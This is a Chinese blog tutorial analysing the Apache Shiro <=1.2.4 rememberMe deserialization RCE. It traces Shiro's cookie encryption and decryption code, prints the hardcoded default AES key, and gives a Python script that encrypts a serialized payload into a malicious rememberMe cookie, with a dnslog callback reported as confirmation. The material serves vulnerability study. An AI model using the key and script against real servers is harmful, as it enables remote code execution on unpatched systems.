[Java反序列化]—Shiro反序列化(一)

环境配置: 

IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客

漏洞原理:

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本:

Apache Shiro <= 1.2.4

漏洞原理:

shiro反序列化主要就是对cookie进行的一系列操作, 也就是 选了 rememberme。他会对你的cookie 进行 操作。

 特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro 默认使用了 CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

然而AES的密钥是硬编码的,导致攻击者可以构造任意数据造成反序列化RCE,payload:

恶意命令-->序列化-->AES加密-->base64编码-->发送cookie

在整个漏洞中,比较重要的是AES的密钥。

加密分析:

Shiro <= 1.2.4 版本默认使用   CookieRememberMeManager。

而这个 CookieRememberMeManager 继承了 AbstractRememberMeManager 跟进看看。

 此处有个 硬编码 DEFAULT_CIPHER_KEY_BYTES ,然后他又实现了 RememberMeManager接口,跟进去看看

实现了这些接口,看英文单词是  记住身份信息、忘记身份信息、登录成功、登录失败、已登录功能,既然这样,那么肯定会调用登录成功的这个接口,然后再去实现这个接口,所以我们在这里下个断点

这里我是勾选了这个 Remember me 的

 

 而这,我们是可以进入if 的

 这里的 subject 存储的是一些 登录信息  比如session 等

 而PrincipalCollection 是个身份集合,我们先不管。

我们继续跟进这个 

 rememberIdentity(subject, token, info);

 这里获取了身份信息,但是不知道是用来干嘛的

跟进一下这个  convertPrincipalsToBytes()

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);  //序列化这个身份信息
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

这里把身份信息传给convertPrincipalsToBytes() ,身份信息传参为principals ,然后将这个信息应该是序列化了。

 大概就是跳了两层,到 DefaultSerialize类的 序列化方法,这里把身份信息转换为bytes,写入缓冲区,然后就进行了序列化,最后通过toByteArray() 方法 返回序列化后的Byte数组

然后回来这个地方:

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);
        if (getCipherService() != null) {
            bytes = encrypt(bytes);
        }
        return bytes;
    }

 进行一个if判断,getCipherService()方法不为空则进入条件里面里面。我们f7进去内部看看;

 发现又是一个cipherService,也就是获取密码服务,我们再继续F7跟进发现直接推出了。那我们就 Ctrl+左键继续进去看。可以,发现是new了一个aes加密服务。

 那我们点击debugger处,回到刚刚那个地方;我们就不用继续进入了,我们就思考一下,这边是要获取到加密服务,如果没获取到,则不进入。获取到的话,则进入该条件;

 然后调用encrypt()方法,这是个加密方法。我们f7跟进去看看什么情况。

 这里把序列化后的bytes 传参给serialized 赋值给value ,然后if判断,getCipherService(),这个是存在的。然后我们进入条件判断股内部

ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());

这里调用cipherService.encrypt()方法并且传入序列化数据,和getEncryptionCipherKey方法。

 我们通过getEncryptionCipherKey()名字可以知道是获取key的一个方法。那我们f7进入看看

直接return了 ,看看这个encryptionCipherKey的初始定义

 看看哪里赋值了

    public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
        this.encryptionCipherKey = encryptionCipherKey;
    }

 在 setEncryptionCipherKey()进行了赋值,看看谁调用了setEncryptionCipherKey()

    public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

 这里调用了setEncryptionCipherKey(),继续跟谁调用了setCipherKey()

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

发现是把前面看的硬编码传给了setCipherKey(),而public AbstractRememberMeManager()是构造函数。也就是说,前面的getEncryptionCipherKey(),就是固定值,硬编码

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

至此 也就是说,  这个勾了remember的功能,他会把我们的身份信息,序列化后和 那个固定的key进行加密,接下来我们需要分析一下解密的操作

解密流程

在 shiro 文件中找到   CookieRememberMeManager.java 对cookie中的字段进行管理,其中有个rememberSerializedIdentity(),可以对remember认证信息进行序列化

其中这里有个 getCookie().readValue(request, response),这是读取cookie中的数据,跟上:

 根据名字,可以知道是一个读取值的方法。

通过 getName()方法得到name =remeber me  然后把value = nuLL,  在通过getCookie获取到cookie,最后判断cookie 不为空 进入到内部随后  cookie.getValue.  并赋值为 value 其值为序列化的内容   ,然后return 回value 也就是序列化的值。

也就是返回到这一步,这里进行了一个判断,判断这个 base64的值是否是 deleteMe ,是的话就返回null,我们这里肯定不是了,我们的值是序列化内容,继续往下走,然后进行了一个base64解密赋值给了 decode

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

目前只进行了 base64解密。接下来还需要AES 解密,继续跟进,看看哪里调用了rememberSerializedIdentity(),

 是这里调用了。 其中bytes 肯定不为空,所以进入第一个if,期间调用了convertBytesToPrincipals

 把 序列化内容传进去了,跟进。

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

if钟进行了解密。最后回返回反序列化的内容,看看decrypt()

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

很好,他也是用了硬编码进行了解密,就是那个固定值,我就不跟了。直接跟进最后面的deserialize(byte)

  protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

最终就到了readObject执行反序列化

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

一下这个加解密 过程是我抄其他师傅的  原理不清楚,因为我没有编写脚本能力

漏洞复现

用脚本将序列化生成的文件1.txt进行aes加密

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data


def aesEncode(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext
def aesDecode(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s:s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext 



if __name__ == '__main__':
    data = get_file("1.txt")
    print(aesEncode(data))

生成后传入cookie 中,dnslog成功回显

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shiro反序列化检测是指对Shiro框架可能存在的反序列化漏洞进行检测和防护的一种安全措施。通过该方法,可以防止黑客利用Shiro框架的反序列化漏洞进行攻击。 ShiroJava领域中广泛使用的开源安全框架,用于认证、授权和会话管理等安全功能。然而,由于Java的序列化和反序列化机制的特性,可能导致应用程序在反序列化时存在安全风险。黑客可以通过构造恶意序列化数据,导致应用程序反序列化时执行恶意代码,从而实施攻击,比如远程代码执行、命令注入等。 为了防止这种安全风险,可以在Shiro框架中添加反序列化检测机制。这个机制可以对反序列化的数据进行检查,确保其合法性,并防止执行恶意代码。常见的防护方法包括: 1. 设置白名单:限制反序列化的类的类型和来源,只允许反序列化特定的类。 2. 安全配置:对Shiro框架及相关功能进行正确的安全配置,合理设置权限和角色。 3. 使用SafeXMLDecoder:SafeXMLDecoder是一个安全的XML反序列化工具,可以对输入数据进行验证和过滤,阻止恶意代码的执行。 此外,定期更新Shiro框架和依赖库,确保及时获取最新的安全补丁也是非常重要的。同时,开发人员也需要对Shiro框架和反序列化漏洞有一定的了解,及时关注相关安全动态,以便及时修复和更新。 总之,Shiro反序列化检测是一项重要的安全措施,可以有效预防黑客利用反序列化漏洞对Shiro框架进行攻击。通过合理的安全配置和验证机制,可以提高应用程序的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值